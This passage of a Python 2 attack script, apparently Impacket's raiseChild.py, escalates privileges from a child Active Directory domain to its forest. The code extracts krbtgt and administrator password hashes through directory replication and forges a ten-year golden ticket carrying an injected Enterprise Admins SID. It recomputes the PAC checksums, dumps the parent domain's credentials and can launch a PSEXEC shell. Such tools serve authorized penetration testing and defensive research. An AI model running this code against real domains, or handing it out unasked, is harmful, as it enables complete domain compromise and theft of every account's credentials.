                # On some old w2k3 there might be user properties that don't
                # match [MS-SAMR] structure, discarding them
                return
            propertiesData = userProperties['UserProperties']
            for propertyCount in range(userProperties['PropertyCount']):
                userProperty = samr.USER_PROPERTY(propertiesData)
                propertiesData = propertiesData[len(userProperty):]
                if userProperty['PropertyName'].decode('utf-16le') == 'Primary:Kerberos-Newer-Keys':
                    propertyValueBuffer = unhexlify(userProperty['PropertyValue'])
                    kerbStoredCredentialNew = samr.KERB_STORED_CREDENTIAL_NEW(propertyValueBuffer)
                    data = kerbStoredCredentialNew['Buffer']
                    for credential in range(kerbStoredCredentialNew['CredentialCount']):
                        keyDataNew = samr.KERB_KEY_DATA_NEW(data)
                        data = data[len(keyDataNew):]
                        keyValue = propertyValueBuffer[keyDataNew['KeyOffset']:][:keyDataNew['KeyLength']]

                        if  self.KERBEROS_TYPE.has_key(keyDataNew['KeyType']):
                            # Give me only the AES256
                            if keyDataNew['KeyType'] == 18:
                                return hexlify(keyValue)

        return None

    def __decryptHash(self, record, prefixTable=None):
        logging.debug('Decrypting hash for user: %s' % record['pmsgOut']['V6']['pNC']['StringName'][:-1])
        rid = 0
        LMHash = None
        NTHash = None
        for attr in record['pmsgOut']['V6']['pObjects']['Entinf']['AttrBlock']['pAttr']:
            try:
                attId = drsuapi.OidFromAttid(prefixTable, attr['attrTyp'])
                LOOKUP_TABLE = self.ATTRTYP_TO_ATTID
            except Exception, e:
                logging.debug('Failed to execute OidFromAttid with error %s, fallbacking to fixed table' % e)
                # Fallbacking to fixed table and hope for the best
                attId = attr['attrTyp']
                LOOKUP_TABLE = self.NAME_TO_ATTRTYP
            if attId == LOOKUP_TABLE['dBCSPwd']:
                if attr['AttrVal']['valCount'] > 0:
                    encrypteddBCSPwd = ''.join(attr['AttrVal']['pAVal'][0]['pVal'])
                    encryptedLMHash = drsuapi.DecryptAttributeValue(self.__drsr, encrypteddBCSPwd)
                else:
                    LMHash = LMOWFv1('', '')
            elif attId == LOOKUP_TABLE['unicodePwd']:
                if attr['AttrVal']['valCount'] > 0:
                    encryptedUnicodePwd = ''.join(attr['AttrVal']['pAVal'][0]['pVal'])
                    encryptedNTHash = drsuapi.DecryptAttributeValue(self.__drsr, encryptedUnicodePwd)
                else:
                    NTHash = NTOWFv1('', '')
            elif attId == LOOKUP_TABLE['objectSid']:
                if attr['AttrVal']['valCount'] > 0:
                    objectSid = ''.join(attr['AttrVal']['pAVal'][0]['pVal'])
                    rid = unpack('<L', objectSid[-4:])[0]
                else:
                    raise Exception('Cannot get objectSid for %s' % record['pmsgOut']['V6']['pNC']['StringName'][:-1])

        if LMHash is None:
            LMHash = drsuapi.removeDESLayer(encryptedLMHash, rid)
        if NTHash is None:
            NTHash = drsuapi.removeDESLayer(encryptedNTHash, rid)
        return rid, hexlify(LMHash), hexlify(NTHash)

    def DRSGetNCChanges(self, userEntry, creds):
        if self.__drsr is None:
            self.__connectDrds(creds)

        request = drsuapi.DRSGetNCChanges()
        request['hDrs'] = self.__hDrs
        request['dwInVersion'] = 8

        request['pmsgIn']['tag'] = 8
        request['pmsgIn']['V8']['uuidDsaObjDest'] = self.__NtdsDsaObjectGuid
        request['pmsgIn']['V8']['uuidInvocIdSrc'] = self.__NtdsDsaObjectGuid

        dsName = drsuapi.DSNAME()
        dsName['SidLen'] = 0
        dsName['Guid'] = drsuapi.NULLGUID
        dsName['Sid'] = ''
        dsName['NameLen'] = len(userEntry)
        dsName['StringName'] = (userEntry + '\x00')

        dsName['structLen'] = len(dsName.getData())

        request['pmsgIn']['V8']['pNC'] = dsName

        request['pmsgIn']['V8']['usnvecFrom']['usnHighObjUpdate'] = 0
        request['pmsgIn']['V8']['usnvecFrom']['usnHighPropUpdate'] = 0

        request['pmsgIn']['V8']['pUpToDateVecDest'] = NULL

        request['pmsgIn']['V8']['ulFlags'] =  drsuapi.DRS_INIT_SYNC | drsuapi.DRS_WRIT_REP
        request['pmsgIn']['V8']['cMaxObjects'] = 1
        request['pmsgIn']['V8']['cMaxBytes'] = 0
        request['pmsgIn']['V8']['ulExtendedOp'] = drsuapi.EXOP_REPL_OBJ
        if self.__ppartialAttrSet is None:
            self.__prefixTable = []
            self.__ppartialAttrSet = drsuapi.PARTIAL_ATTR_VECTOR_V1_EXT()
            self.__ppartialAttrSet['dwVersion'] = 1
            self.__ppartialAttrSet['cAttrs'] = len(self.ATTRTYP_TO_ATTID)
            for attId in self.ATTRTYP_TO_ATTID.values():
                self.__ppartialAttrSet['rgPartialAttr'].append(drsuapi.MakeAttid(self.__prefixTable , attId))
        request['pmsgIn']['V8']['pPartialAttrSet'] = self.__ppartialAttrSet
        request['pmsgIn']['V8']['PrefixTableDest']['PrefixCount'] = len(self.__prefixTable)
        request['pmsgIn']['V8']['PrefixTableDest']['pPrefixEntry'] = self.__prefixTable
        request['pmsgIn']['V8']['pPartialAttrSetEx1'] = NULL

        return self.__drsr.request(request)

    def getCredentials(self, userName, domain, creds = None):
        upn = '%s@%s' % (userName, domain)
        try:
            crackedName = self.DRSCrackNames(domain, drsuapi.DS_NAME_FORMAT.DS_USER_PRINCIPAL_NAME, name = upn, creds=creds)

            if crackedName['pmsgOut']['V1']['pResult']['cItems'] == 1:
                if crackedName['pmsgOut']['V1']['pResult']['rItems'][0]['status'] == 0:
                    userRecord = self.DRSGetNCChanges(
                        crackedName['pmsgOut']['V1']['pResult']['rItems'][0]['pName'][:-1], creds)
                    # userRecord.dump()
                    if userRecord['pmsgOut']['V6']['cNumObjects'] == 0:
                        raise Exception('DRSGetNCChanges didn\'t return any object!')
                else:
                    raise Exception('DRSCrackNames status returned error 0x%x' %
                                    crackedName['pmsgOut']['V1']['pResult']['rItems'][0]['status'])
            else:
                raise Exception('DRSCrackNames returned %d items for user %s' % (
                crackedName['pmsgOut']['V1']['pResult']['cItems'], userName))

            rid, lmhash, nthash = self.__decryptHash(userRecord, userRecord['pmsgOut']['V6']['PrefixTableSrc']['pPrefixEntry'])
            aesKey = self.__decryptSupplementalInfo(userRecord, userRecord['pmsgOut']['V6']['PrefixTableSrc']['pPrefixEntry'])
        except Exception, e:
            #import traceback
            #traceback.print_exc()
            logging.error("Error while processing user!")
            logging.error(str(e))
            raise

        self.__drsr.disconnect()
        self.__drsr = None
        creds = {}
        creds['lmhash'] = lmhash
        creds['nthash'] = nthash
        creds['aesKey'] = aesKey
        return rid, creds

    @staticmethod
    def makeGolden(tgt, originalCipher, sessionKey, ntHash, aesKey, extraSid):
        asRep = decoder.decode(tgt, asn1Spec = AS_REP())[0]

        # Let's extract Ticket's enc-data
        cipherText = asRep['ticket']['enc-part']['cipher']

        cipher = _enctype_table[asRep['ticket']['enc-part']['etype']]
        if cipher.enctype == constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value:
            key = Key(cipher.enctype, unhexlify(aesKey))
        elif cipher.enctype == constants.EncryptionTypes.rc4_hmac.value:
            key = Key(cipher.enctype, unhexlify(ntHash))
        else:
            raise Exception('Unsupported enctype 0x%x' % cipher.enctype)

        # Key Usage 2
        # AS-REP Ticket and TGS-REP Ticket (includes TGS session
        # key or application session key), encrypted with the
        # service key (Section 5.3)
        plainText = cipher.decrypt(key, 2, str(cipherText))
        #hexdump(plainText)

        encTicketPart = decoder.decode(plainText, asn1Spec = EncTicketPart())[0]

        # Let's extend the ticket's validity a lil bit
        tenYearsFromNow = datetime.datetime.utcnow() + datetime.timedelta(days=365*10)
        encTicketPart['endtime'] = KerberosTime.to_asn1(tenYearsFromNow)
        encTicketPart['renew-till'] = KerberosTime.to_asn1(tenYearsFromNow)
        #print encTicketPart.prettyPrint()

        adIfRelevant = decoder.decode(encTicketPart['authorization-data'][0]['ad-data'], asn1Spec =AD_IF_RELEVANT())[0]
        #print adIfRelevant.prettyPrint()

        # So here we have the PAC
        pacType = PACTYPE(str(adIfRelevant[0]['ad-data']))
        buffers = pacType['Buffers']
        pacInfos = {}

        for nBuf in range(pacType['cBuffers']):
            infoBuffer = PAC_INFO_BUFFER(buffers)
            data = pacType['Buffers'][infoBuffer['Offset']-8:][:infoBuffer['cbBufferSize']]
            pacInfos[infoBuffer['ulType']] = data
            buffers = buffers[len(infoBuffer):]

        # Let's locate the KERB_VALIDATION_INFO and Checksums
        if pacInfos.has_key(PAC_LOGON_INFO):
            data = pacInfos[PAC_LOGON_INFO]
            validationInfo = VALIDATION_INFO()
            validationInfo.fromString(pacInfos[PAC_LOGON_INFO])
            lenVal = len(validationInfo.getData())
            validationInfo.fromStringReferents(data[lenVal:], lenVal)

            if logging.getLogger().level == logging.DEBUG:
                logging.debug('VALIDATION_INFO before making it gold')
                validationInfo.dump()
                print ('\n')

            # Our Golden Well-known groups! :)
            groups = (513, 512, 520, 518, 519)
            validationInfo['Data']['GroupIds'] = list()
            validationInfo['Data']['GroupCount'] = len(groups)

            for group in groups:
                groupMembership = GROUP_MEMBERSHIP()
                groupId = NDRULONG()
                groupId['Data'] = group
                groupMembership['RelativeId'] = groupId
                groupMembership['Attributes'] = SE_GROUP_MANDATORY | SE_GROUP_ENABLED_BY_DEFAULT | SE_GROUP_ENABLED
                validationInfo['Data']['GroupIds'].append(groupMembership)

            # Let's add the extraSid
            if validationInfo['Data']['SidCount'] == 0:
                # Let's be sure user's flag specify we have extra sids.
                validationInfo['Data']['UserFlags'] |= 0x20
                validationInfo['Data']['ExtraSids'] = PKERB_SID_AND_ATTRIBUTES_ARRAY()

            validationInfo['Data']['SidCount'] += 1

            sidRecord = KERB_SID_AND_ATTRIBUTES()

            sid = RPC_SID()
            sid.fromCanonical(extraSid)

            sidRecord['Sid'] = sid
            sidRecord['Attributes'] = SE_GROUP_MANDATORY | SE_GROUP_ENABLED_BY_DEFAULT | SE_GROUP_ENABLED

            # And, let's append the magicSid
            validationInfo['Data']['ExtraSids'].append(sidRecord)

            validationInfoBlob = validationInfo.getData()+validationInfo.getDataReferents()
            validationInfoAlignment = '\x00'*(((len(validationInfoBlob)+7)/8*8)-len(validationInfoBlob))

            if logging.getLogger().level == logging.DEBUG:
                logging.debug('VALIDATION_INFO after making it gold')
                validationInfo.dump()
                print ('\n')
        else:
            raise Exception('PAC_LOGON_INFO not found! Aborting')

        # Let's now clear the checksums
        if pacInfos.has_key(PAC_SERVER_CHECKSUM):
            serverChecksum = PAC_SIGNATURE_DATA(pacInfos[PAC_SERVER_CHECKSUM])
            if serverChecksum['SignatureType'] == constants.ChecksumTypes.hmac_sha1_96_aes256.value:
                serverChecksum['Signature'] = '\x00'*12
            else:
                serverChecksum['Signature'] = '\x00'*16
        else:
            raise Exception('PAC_SERVER_CHECKSUM not found! Aborting')

        if pacInfos.has_key(PAC_PRIVSVR_CHECKSUM):
            privSvrChecksum = PAC_SIGNATURE_DATA(pacInfos[PAC_PRIVSVR_CHECKSUM])
            privSvrChecksum['Signature'] = '\x00'*12
            if privSvrChecksum['SignatureType'] == constants.ChecksumTypes.hmac_sha1_96_aes256.value:
                privSvrChecksum['Signature'] = '\x00'*12
            else:
                privSvrChecksum['Signature'] = '\x00'*16
        else:
            raise Exception('PAC_PRIVSVR_CHECKSUM not found! Aborting')

        if pacInfos.has_key(PAC_CLIENT_INFO_TYPE):
            pacClientInfoBlob = pacInfos[PAC_CLIENT_INFO_TYPE]
            pacClientInfoAlignment = '\x00'*(((len(pacClientInfoBlob)+7)/8*8)-len(pacClientInfoBlob))
        else:
            raise Exception('PAC_CLIENT_INFO_TYPE not found! Aborting')


        # We changed everything we needed to make us special. Now let's repack and calculate checksums
        serverChecksumBlob = str(serverChecksum)
        serverChecksumAlignment = '\x00'*(((len(serverChecksumBlob)+7)/8*8)-len(serverChecksumBlob))

        privSvrChecksumBlob = str(privSvrChecksum)
        privSvrChecksumAlignment = '\x00'*(((len(privSvrChecksumBlob)+7)/8*8)-len(privSvrChecksumBlob))

        # The offset are set from the beginning of the PAC_TYPE
        # [MS-PAC] 2.4 PAC_INFO_BUFFER
        offsetData = 8 + len(str(PAC_INFO_BUFFER()))*4

        # Let's build the PAC_INFO_BUFFER for each one of the elements
        validationInfoIB = PAC_INFO_BUFFER()
        validationInfoIB['ulType'] = PAC_LOGON_INFO
        validationInfoIB['cbBufferSize'] =  len(validationInfoBlob)
        validationInfoIB['Offset'] = offsetData
        offsetData = (offsetData+validationInfoIB['cbBufferSize'] + 7) /8 *8

        pacClientInfoIB = PAC_INFO_BUFFER()
        pacClientInfoIB['ulType'] = PAC_CLIENT_INFO_TYPE
        pacClientInfoIB['cbBufferSize'] = len(pacClientInfoBlob)
        pacClientInfoIB['Offset'] = offsetData
        offsetData = (offsetData+pacClientInfoIB['cbBufferSize'] + 7) /8 *8

        serverChecksumIB = PAC_INFO_BUFFER()
        serverChecksumIB['ulType'] = PAC_SERVER_CHECKSUM
        serverChecksumIB['cbBufferSize'] = len(serverChecksumBlob)
        serverChecksumIB['Offset'] = offsetData
        offsetData = (offsetData+serverChecksumIB['cbBufferSize'] + 7) /8 *8

        privSvrChecksumIB = PAC_INFO_BUFFER()
        privSvrChecksumIB['ulType'] = PAC_PRIVSVR_CHECKSUM
        privSvrChecksumIB['cbBufferSize'] = len(privSvrChecksumBlob)
        privSvrChecksumIB['Offset'] = offsetData
        #offsetData = (offsetData+privSvrChecksumIB['cbBufferSize'] + 7) /8 *8

        # Building the PAC_TYPE as specified in [MS-PAC]
        buffers = str(validationInfoIB) + str(pacClientInfoIB) + str(serverChecksumIB) + str(
            privSvrChecksumIB) + validationInfoBlob + validationInfoAlignment + str(
            pacInfos[PAC_CLIENT_INFO_TYPE]) + pacClientInfoAlignment
        buffersTail = str(serverChecksum) + serverChecksumAlignment + str(privSvrChecksum) + privSvrChecksumAlignment

        pacType = PACTYPE()
        pacType['cBuffers'] = 4
        pacType['Version'] = 0
        pacType['Buffers'] = buffers + buffersTail

        blobToChecksum = str(pacType)

        # If you want to do MD5, ucomment this
        checkSumFunctionServer = _checksum_table[serverChecksum['SignatureType']]
        if serverChecksum['SignatureType'] == constants.ChecksumTypes.hmac_sha1_96_aes256.value:
            keyServer = Key(Enctype.AES256, unhexlify(aesKey))
        elif serverChecksum['SignatureType'] == 0xffffff76:
            keyServer = Key(Enctype.RC4, unhexlify(ntHash))
        else:
            raise Exception('Invalid Server checksum type 0x%x' % serverChecksum['SignatureType'] )

        checkSumFunctionPriv= _checksum_table[privSvrChecksum['SignatureType']]
        if privSvrChecksum['SignatureType'] == constants.ChecksumTypes.hmac_sha1_96_aes256.value:
            keyPriv = Key(Enctype.AES256, unhexlify(aesKey))
        elif privSvrChecksum['SignatureType'] == 0xffffff76:
            keyPriv = Key(Enctype.RC4, unhexlify(ntHash))
        else:
            raise Exception('Invalid Priv checksum type 0x%x' % serverChecksum['SignatureType'] )

        serverChecksum['Signature'] = checkSumFunctionServer.checksum(keyServer, 17, blobToChecksum)
        privSvrChecksum['Signature'] = checkSumFunctionPriv.checksum(keyPriv, 17, serverChecksum['Signature'])

        buffersTail = str(serverChecksum) + serverChecksumAlignment + str(privSvrChecksum) + privSvrChecksumAlignment
        pacType['Buffers'] = buffers + buffersTail

        authorizationData = AuthorizationData()
        authorizationData[0] = None
        authorizationData[0]['ad-type'] = int(constants.AuthorizationDataType.AD_WIN2K_PAC.value)
        authorizationData[0]['ad-data'] = str(pacType)
        authorizationData = encoder.encode(authorizationData)

        encTicketPart['authorization-data'][0]['ad-data'] = authorizationData

        encodedEncTicketPart = encoder.encode(encTicketPart)

        cipher = _enctype_table[asRep['ticket']['enc-part']['etype']]
        if cipher.enctype == constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value:
            key = Key(cipher.enctype, unhexlify(aesKey))
        elif cipher.enctype == constants.EncryptionTypes.rc4_hmac.value:
            key = Key(cipher.enctype, unhexlify(ntHash))
        else:
            raise Exception('Unsupported enctype 0x%x' % cipher.enctype)

        # Key Usage 2
        # AS-REP Ticket and TGS-REP Ticket (includes TGS session
        # key or application session key), encrypted with the
        # service key (Section 5.3)
        cipherText = cipher.encrypt(key, 2, str(encodedEncTicketPart), None)

        asRep['ticket']['enc-part']['cipher'] = cipherText

        return encoder.encode(asRep), originalCipher, sessionKey

    def raiseUp(self, childName, childCreds, parentName):
        logging.info('Raising %s to %s' % (childName, parentName))

        # 3) Get the parents's Enterprise Admin SID (via [MS-LSAT])
        entepriseSid, adminName = self.getParentSidAndAdminName(parentName, childCreds)
        logging.info('%s Enterprise Admin SID is: %s-519' % (parentName,entepriseSid))

        # 4) Get the child domain's krbtgt credentials (via [MS-DRSR])
        targetUser = 'krbtgt'
        logging.info('Getting credentials for %s' % childName)
        rid, credentials = self.getCredentials(targetUser, childName, childCreds)
        print '%s/%s:%s:%s:%s:::' % (childName, targetUser, rid, credentials['lmhash'], credentials['nthash'])
        print '%s/%s:aes256-cts-hmac-sha1-96s:%s' % (childName, targetUser, credentials['aesKey'])

        # 5) Create a Golden Ticket specifying SID from 3) inside the KERB_VALIDATION_INFO's ExtraSids array
        userName = Principal(childCreds['username'], type=constants.PrincipalNameType.NT_PRINCIPAL.value)
        TGT = {}
        TGS = {}
        while True:
            try:
                tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, childCreds['password'],
                                                                        childCreds['domain'], childCreds['lmhash'],
                                                                        childCreds['nthash'], None, self.__kdcHost)
            except KerberosError, e:
                if e.getErrorCode() == constants.ErrorCodes.KDC_ERR_ETYPE_NOSUPP.value:
                    # We might face this if the target does not support AES (most probably
                    # Windows XP). So, if that's the case we'll force using RC4 by converting
                    # the password to lm/nt hashes and hope for the best. If that's already
                    # done, byebye.
                    if childCreds['lmhash'] is '' and childCreds['nthash'] is '':
                        from impacket.ntlm import compute_lmhash, compute_nthash
                        childCreds['lmhash'] = compute_lmhash(childCreds['password'])
                        childCreds['nthash'] = compute_nthash(childCreds['password'])
                        continue
                    else:
                        raise
                else:
                    raise

            # We have a TGT, let's make it golden
            goldenTicket, cipher, sessionKey = self.makeGolden(tgt, cipher, sessionKey, credentials['nthash'],
                                                               credentials['aesKey'], entepriseSid + '-519')
            TGT['KDC_REP'] = goldenTicket
            TGT['cipher'] = cipher
            TGT['oldSessionKey'] = oldSessionKey
            TGT['sessionKey'] = sessionKey

            # We've done what we wanted, now let's call the regular getKerberosTGS to get a new ticket for cifs
            if self.__target is None:
                serverName = Principal('cifs/%s' % self.getMachineName(gethostbyname(parentName)),
                                       type=constants.PrincipalNameType.NT_SRV_INST.value)
            else:
                serverName = Principal('cifs/%s' % self.__target, type=constants.PrincipalNameType.NT_SRV_INST.value)
            try:
                logging.debug('Getting TGS for SPN %s' % serverName)
                tgsCIFS, cipherCIFS, oldSessionKeyCIFS, sessionKeyCIFS = getKerberosTGS(serverName,
                                                                                        childCreds['domain'], None,
                                                                                        goldenTicket, cipher,
                                                                                        sessionKey)
                TGS['KDC_REP'] = tgsCIFS
                TGS['cipher'] = cipherCIFS
                TGS['oldSessionKey'] = oldSessionKeyCIFS
                TGS['sessionKey'] = sessionKeyCIFS
                break
            except KerberosError, e:
                if e.getErrorCode() == constants.ErrorCodes.KDC_ERR_ETYPE_NOSUPP.value:
                    # We might face this if the target does not support AES (most probably
                    # Windows XP). So, if that's the case we'll force using RC4 by converting
                    # the password to lm/nt hashes and hope for the best. If that's already
                    # done, byebye.
                    if childCreds['lmhash'] is '' and childCreds['nthash'] is '':
                        from impacket.ntlm import compute_lmhash, compute_nthash
                        childCreds['lmhash'] = compute_lmhash(childCreds['password'])
                        childCreds['nthash'] = compute_nthash(childCreds['password'])
                    else:
                        raise
                else:
                    raise

        # 6) Use the generated ticket to log into the parent and get the krbtgt/admin info
        logging.info('Getting credentials for %s' % parentName)
        targetUser = 'krbtgt'
        childCreds['TGT'] = TGT
        rid, credentials = self.getCredentials(targetUser, parentName, childCreds)
        print '%s/%s:%s:%s:%s:::' % (parentName, targetUser, rid, credentials['lmhash'], credentials['nthash'])
        print '%s/%s:aes256-cts-hmac-sha1-96s:%s' % (parentName, targetUser, credentials['aesKey'])

        logging.info('Administrator account name is %s' % adminName)
        rid, credentials = self.getCredentials(adminName, parentName, childCreds)
        print '%s/%s:%s:%s:%s:::' % (parentName, adminName, rid, credentials['lmhash'], credentials['nthash'])
        print '%s/%s:aes256-cts-hmac-sha1-96s:%s' % (parentName, adminName, credentials['aesKey'])

        adminCreds = {}
        adminCreds['username'] = adminName
        adminCreds['password'] = ''
        adminCreds['domain'] = parentName
        adminCreds['lmhash'] = credentials['lmhash']
        adminCreds['nthash'] = credentials['nthash']
        adminCreds['aesKey'] = credentials['aesKey']
        adminCreds['TGT'] =  None
        adminCreds['TGS'] =  None
        return adminCreds, TGT, TGS

    def exploit(self):
        # 1) Find out where the child domain controller is located and get its info (via [MS-NRPC])
        childCreds = self.__creds
        childName, forestName = self.getChildInfo(self.__creds)
        logging.info('Raising child domain %s' % childName)

        # 2) Find out what the forest FQDN is (via [MS-NRPC])
        logging.info('Forest FQDN is: %s' % forestName)

        # Let's raise up our child!
        adminCreds, parentTGT, parentTGS = self.raiseUp(childName, childCreds, forestName)

        # 7) If file was specified, save the golden ticket in ccache format
        if self.__writeTGT is not None:
            logging.info('Saving golden ticket into %s' % self.__writeTGT)
            from impacket.krb5.ccache import CCache
            ccache = CCache()
            ccache.fromTGT(parentTGT['KDC_REP'], parentTGT['oldSessionKey'], parentTGT['sessionKey'])
            ccache.saveFile(self.__writeTGT)

        # 8) If target was specified, a PSEXEC shell is launched
        if self.__target is not None:
            logging.info('Opening PSEXEC shell at %s' % self.__target)
            from impacket.smbconnection import SMBConnection
            s = SMBConnection('*SMBSERVER', self.__target)
            s.kerberosLogin(adminCreds['username'], '', adminCreds['domain'], adminCreds['lmhash'],
                            adminCreds['nthash'], useCache=False)

            if self.__command != 'None':
                executer = PSEXEC(self.__command, adminCreds['username'], adminCreds['domain'], s, None, None)
                executer.run(self.__target)

if __name__ == '__main__':
    # Init the example's logger theme
    logger.init()

    print version.BANNER

    parser = argparse.ArgumentParser(add_help = True, description = "Privilege Escalation from a child domain up to its forest")

    parser.add_argument('target', action='store', help='domain/username[:password]')
    parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')
    parser.add_argument('-w', action='store',metavar = "pathname",  help='writes the golden ticket in CCache format into the <pathname> file')
    #parser.add_argument('-dc-ip', action='store',metavar = "ip address",  help='IP Address of the domain controller (needed to get the user''s SID). If ommited it use the domain part (FQDN) specified in the target parameter')
    parser.add_argument('-target-exec', action='store',metavar = "target address",  help='Target host you want to PSEXEC against once the main attack finished')

    group = parser.add_argument_group('authentication')

    group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH')
    group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)')
    group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ones specified in the command line')
    group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication (128 or 256 bits)')

    if len(sys.argv)==1:
        parser.print_help()
        print "\nExamples: "
        print "\tpython raiseChild.py childDomain.net/adminuser\n"
        print "\tthe password will be asked, or\n"
        print "\tpython raiseChild.py childDomain.net/adminuser:mypwd\n"
        print "\tor if you just have the hashes\n"
        print "\tpython raiseChild.py -hashes LMHASH:NTHASH childDomain.net/adminuser\n"

        print "\tThis will perform the attack and then psexec against target-exec as Enterprise Admin"
        print "\tpython raiseChild.py -target-exec targetHost childDomainn.net/adminuser\n"
        print "\tThis will save the final goldenTicket generated in the ccache target file"
        print "\tpython raiseChild.py -w ccache childDomain.net/adminuser\n"
        sys.exit(1)
 
    options = parser.parse_args()

    import re
    # This is because I'm lazy with regex
    # ToDo: We need to change the regex to fullfil domain/username[:password]
    targetParam = options.target + '@'
    domain, username, password, address = re.compile('(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)').match(
        targetParam).groups('')

    #In case the password contains '@'
    if '@' in address:
        password = password + '@' + address.rpartition('@')[0]
        address = address.rpartition('@')[2]

    if options.debug is True:
        logging.getLogger().setLevel(logging.DEBUG)
    else:
        logging.getLogger().setLevel(logging.INFO)

    if domain is '':
        logging.critical('Domain should be specified!')
        sys.exit(1)

    if password == '' and username != '' and options.hashes is None and options.aesKey is None:
        from getpass import getpass
        password = getpass("Password:")

    if options.aesKey is not None:
        options.k = True

    commands = 'cmd.exe'

    try:
        pacifier = RAISECHILD(options.target_exec, username, password, domain, options, commands)
        pacifier.exploit()
    except SessionError, e:
        logging.critical(str(e))
        if e.getErrorCode() == STATUS_NO_LOGON_SERVERS:
            logging.info('Try using Kerberos authentication (-k switch). That might help solving the STATUS_NO_LOGON_SERVERS issue')
    except Exception, e:
        #import traceback
        #print traceback.print_exc()
        logging.critical(str(e))
